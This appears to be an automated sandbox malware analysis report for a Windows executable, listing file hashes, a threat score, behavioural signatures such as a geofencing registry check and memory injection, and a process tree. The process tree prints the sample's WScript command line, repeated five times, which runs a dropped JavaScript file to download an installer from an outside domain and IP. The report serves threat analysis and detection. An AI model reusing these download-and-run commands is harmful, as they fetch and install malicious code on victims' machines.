Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-05-2024 00:16

General

  • Target

    31c562de61d989fda085b4e047199569_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    31c562de61d989fda085b4e047199569

  • SHA1

    96f48ea8a3d28e4d161574e4a281016796fa20a9

  • SHA256

    5ac976be475d5a251abb84470e2290662c631fb8959b0d0d22e0e54c2a53ec76

  • SHA512

    979cd77d1913c78de52e98134dbd126e5aa3c477f03bef2d36a30786caefc3fe63c43a62c689bf08a5f9d305587816e65cb2eb50e7a4e34b36ff659c65871276

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3N:/7BSH8zUB+nGESaaRvoB7FJNndnU

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\31c562de61d989fda085b4e047199569_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\31c562de61d989fda085b4e047199569_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3864
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=URrrIxtxeX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
      2⤵
      • Blocklisted process makes network request
      PID:3208
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=URrrIxtxeX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
      2⤵
      • Blocklisted process makes network request
      PID:4372
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=URrrIxtxeX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
      2⤵
      • Blocklisted process makes network request
      PID:2432
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=URrrIxtxeX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
      2⤵
      • Blocklisted process makes network request
      PID:3388
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=URrrIxtxeX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
      2⤵
      • Blocklisted process makes network request
      PID:4672

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf5D33.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76